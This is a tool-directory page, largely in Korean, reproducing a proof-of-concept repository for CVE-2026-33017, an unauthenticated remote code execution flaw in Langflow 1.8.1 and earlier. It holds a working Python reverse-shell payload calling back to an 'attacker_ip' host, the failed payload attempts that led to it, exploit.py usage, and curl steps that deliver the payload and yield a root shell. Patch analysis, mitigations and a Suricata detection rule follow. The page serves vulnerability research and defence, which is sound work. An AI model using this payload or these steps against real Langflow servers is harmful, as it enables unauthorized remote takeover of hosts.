Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33017 — PoC exploit for an unauthenticated RCE in Langflow <=1.8.1, including source-level root cause analysis, AST-aware reverse shell payload, Docker lab, patch diff, and detection rules. | Kitploit
도구/GitHubGitHub/lxxexxbxx/cve-2026-33017
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

PoC exploit for an unauthenticated RCE in Langflow <=1.8.1, including source-level root cause analysis, AST-aware reverse shell payload, Docker lab, patch diff, and detection rules.

저장소 보기
116일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

면책 조항
본 저장소는 보안 연구 및 교육 목적으로 제작되었습니다.
격리된 실습 환경에서만 사용하십시오.
허가되지 않은 시스템에 사용하는 것은 정보통신망법 위반으로 형사처벌 대상입니다.


1. 취약점 개요

항목내용
CVE IDCVE-2026-33017
취약 소프트웨어Langflow (AI 워크플로우 빌더)
영향 버전Langflow ≤ 1.8.1
패치 버전Langflow ≥ 1.9.0
취약점 유형Unauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEV등재

2. 취약점 원인 분석

2-1. 취약 엔드포인트

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Public 플로우 빌드용 엔드포인트로, 인증 없이 접근 가능하도록 설계된 엔드포인트다.

2-2. 코드 실행 경로 (Call Chain)

소스 코드를 직접 추적하여 확인한 실행 경로:

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← 클라이언트 입력 그대로 수신 (취약점)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← 클라이언트 data 그대로 전달
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 임의 코드 실행

2-3. AST 노드 필터링 — 페이로드 설계의 핵심 제약

prepare_global_scope() 함수는 제출된 코드의 모든 구문을 실행하지 않는다. AST 파싱 후 특정 노드 타입만 선별하여 실행한다:

root@kitploit:~
# lfx/custom/validate.py — prepare_global_scope() 내부
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Expr 노드는 어디에도 포함되지 않음 → 실행 안 됨

exec(compiled_code, exec_globals)  # definitions만 실행

실행 가능한 AST 노드 타입:

결론: 페이로드는 반드시 Assign 형태(_r = ...)로 작성해야 실행된다.
단순 함수 호출(os.system("id"))은 Expr 노드로 분류되어 필터에서 걸러진다.

2-4. 리버스 쉘 페이로드 설계 과정 — 시도와 실패 분석

실습 과정에서 여러 페이로드 방식을 시도하였으며 각 실패 원인을 소스 레벨에서 규명하였다.

시도 1 — subprocess.Popen + wait() (실패)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← 여기서 블로킹

실패 원인: Langflow 워커 스레드가 컴포넌트 반환값을 감시하다가
타임아웃 시 소켓을 강제로 닫아버림. _proc.wait() 블로킹이 무의미해짐.

시도 2 — os.execve() 직접 호출 (실패)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

실패 원인: POSIX 규칙상 멀티스레드 프로세스에서 execve() 호출 시
호출 스레드 외 모든 스레드가 종료됨 → uvicorn 워커 전체 크래시 → HTTP 500.

시도 3 — os.fork() + execve() (실패)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

실패 원인: uvicorn이 자식 프로세스를 비정상 종료로 감지하여
워커를 재시작시킴 → HTTP 500.

시도 4 — threading.Thread(daemon=True) (실패)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

실패 원인: daemon=True 스레드는 메인 스레드(Langflow 워커) 종료 시
함께 소멸됨. connect() 시도 전에 스레드가 죽어버림.

최종 동작 페이로드 — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → 실행됨
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 실행됨 (Expr 단독 호출은 필터에서 제외되므로 반드시 변수 대입)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

daemon=False 선택 이유:

  • daemon=True → Langflow 워커 스레드 종료 시 함께 소멸
  • daemon=False → 워커와 독립적인 생명주기 → 소켓 연결 유지 가능

3. 실습 환경 구성

3-1. 파일 구조

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # 취약 Langflow 1.8.1 환경
├── Dockerfile.attacker     # 공격자 컨테이너 (curl, nc, net-tools 포함)
├── docker-compose.yml      # 취약 서버 + 공격자 컨테이너
├── entrypoint.sh           # Langflow 기동 및 Public 플로우 자동 생성
├── exploit.py              # 리버스 쉘 PoC
└── poc.py                  # Blind RCE / 취약점 존재 확인

3-2. 환경 기동

root@kitploit:~
# 1. 컨테이너 빌드 및 기동
docker compose up --build

# 2. Langflow Web UI 접속 확인
# http://localhost:7860
# admin / admin123!

# 3. 컨테이너 IP 확인
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. 네트워크 구성

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (피해자)  │
│  langflow-attacker   172.19.0.3       (공격자)  │
└──────────────────────────────────────────────────┘

4. PoC 사용법

4-1. exploit.py — 리버스 쉘

공격자 컨테이너 안에서 실행:

root@kitploit:~
docker exec -it langflow-attacker bash

# 자동 모드 (토큰 발급 + Public 플로우 생성 + 내장 리스너 포함)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

옵션:

기대 출력:

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] 로그인 중... (admin)
[*] 토큰 발급 성공
[*] Public 플로우 생성 중...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] 리스너 시작 → 0.0.0.0:4444
[*] 엔드포인트 : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] 콜백       : 172.19.0.3:4444
[*] 페이로드 전송 중...
[*] HTTP 응답  : 200

[+] 쉘 연결됨  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — Blind RCE 확인

취약점 존재 여부만 확인할 때 사용:

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. curl 수동 재현

root@kitploit:~
# 1. 토큰 발급 + Public 플로우 생성
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. nc 리스너 (터미널 1)
nc -lvnp 4444

# 3. 페이로드 전송 (터미널 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. exploit.py vs poc.py 역할 구분


6. 패치 분석 — 1.8.1 vs 1.9.1

6-1. 취약 코드 (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← 클라이언트 입력 수신
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← 클라이언트 data 그대로 빌드 파이프라인에 전달
        ...
    )

6-2. 패치 코드 (1.9.1)

langflow/api/v1/chat.py (소스에서 직접 확인):

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # data 파라미터 시그니처에서 완전 제거
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← 하드코딩 None, 클라이언트 입력 완전 차단
        source_flow_id=flow_id,  # ← DB에서만 플로우 정의 로드
        ...
    )

6-3. 패치 전/후 동작 비교

6-4. 패치 설계 평가

단순 입력값 검증이 아닌 파라미터 자체를 제거한 설계가 올바른 이유:

root@kitploit:~
취약한 설계: 클라이언트 입력 → 검증 → 실행  (검증 우회 가능성 존재)
패치 설계:   클라이언트 입력 → 완전 무시
             DB 저장 플로우만 → 실행         (공격 경로 자체 제거)

7. 조치 방법

조치 1 — 버전 업데이트 (근본 해결)

root@kitploit:~
pip install langflow==1.9.1

조치 2 — Nginx 리버스 프록시 엔드포인트 차단

파일 위치: nginx.conf (신규 생성)

root@kitploit:~
server {
    listen 80;

    # CVE-2026-33017 취약 엔드포인트 차단
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

주의: Langflow 7860 포트의 외부 직접 노출도 차단해야 효과적.

조치 3 — Apache 리버스 프록시 엔드포인트 차단

파일 위치:

  • Ubuntu/Debian: /etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL: /etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

조치 4 — Public 플로우 미사용 정책

Public 플로우가 없으면 엔드포인트가 404를 반환하여 공격 불가.
운영 정책으로 Public 플로우 생성을 금지하거나 기존 플로우를 PRIVATE으로 변경.

조치 5 — AWS Security Group (네트워크 레벨)

EC2 환경 기준:

root@kitploit:~
인바운드 규칙:
  포트 7860 → 허가된 IP만 허용 (0.0.0.0/0 제거)

조치 6 — 컨테이너 아웃바운드 차단 (리버스 쉘 콜백 차단)

RCE가 성공하더라도 외부 콜백을 차단:

root@kitploit:~
# langflow 컨테이너 아웃바운드 차단
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

또는 docker-compose.yml:

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

조치 7 — 컨테이너 하드닝 (피해 최소화)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

seccomp 프로파일로 위험 syscall 차단 (langflow-seccomp.json):

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

조치 방법 종합


8. 탐지 — IoC

탐지 패턴

의심 HTTP 요청:

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

Langflow 서버 로그 패턴:

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

Suricata/Snort 룰

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. 참고 자료

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • Langflow 공식 패치 커밋
  • CISA KEV
  • JFrog Security Research

10. 기존 공개 PoC와의 차별점

본 저장소는 단순 PoC 실행이 아닌 소스 레벨 분석을 통해 다음을 추가로 규명하였다:

  1. AST 노드 필터링 발견
    lfx/custom/validate.py의 prepare_global_scope()가 Expr 노드를 무시한다는 사실을 소스 분석으로 직접 확인. 이로 인해 기존 공개 PoC의 단순 함수 호출 페이로드가 이 환경에서 실패하는 이유를 규명.

  2. 페이로드 실패 원인 분석
    Popen+wait(), execve(), fork()+execve(), daemon=True 스레드 등 4가지 방식의 실패 원인을 uvicorn 멀티스레드 구조 및 POSIX 규칙 관점에서 분석.

  3. 패치 코드 직접 확인
    1.9.1의 chat.py에서 data=None 하드코딩 및 파라미터 제거를 소스 레벨에서 직접 확인하여 패치 설계 의도 분석.

도구 다운로드
AST 노드 타입예시실행 여부
FunctionDefdef _shell(): ...✅ 실행
ClassDefclass ExploitComponent(Component)✅ 실행
Assign_r = os.system("id")✅ 실행
AnnAssign_r: int = os.system("id")✅ 실행
Expros.system("id") (단독 호출)❌ 무시
옵션설명기본값
--url대상 Langflow URL필수
--lhost리버스 쉘 콜백 IP필수
--lport리버스 쉘 콜백 포트필수
--flow-idPublic 플로우 UUID (생략 시 자동 생성)자동
--user관리자 IDadmin
--password관리자 PWadmin123!
--no-listen내장 리스너 비활성화 (외부 nc 사용 시)False
--timeoutHTTP 타임아웃(초)30
항목exploit.pypoc.py
목적리버스 쉘 획득취약점 존재 확인 (Blind RCE)
결과 확인공격자 터미널 직접서버 로그 / OOB
리스너내장 포함불필요
다중 대상미지원지원 (--url-file)
실습 용도영향도 증명취약점 존재 증명
항목1.8.1 (취약)1.9.1 (패치)
data 파라미터 수신✅ 수신❌ 시그니처에서 제거
클라이언트 노드 정의 실행✅ 가능❌ 불가
플로우 정의 출처클라이언트 요청 바디DB 저장 값만
인증 없이 RCE✅ 성공❌ 차단
HTTP 응답200 + 쉘 연결200 (빈 빌드, 노드 없음)
조치유형효과
1.9.1 업데이트근본 해결data 파라미터 제거
Nginx/Apache 차단접근 차단공격 경로 차단
Public 플로우 미사용접근 차단엔드포인트 404
AWS Security Group네트워크 차단외부 접근 원천 차단
아웃바운드 차단사후 차단리버스 쉘 콜백 차단
컨테이너 하드닝피해 최소화권한 상승/syscall 차단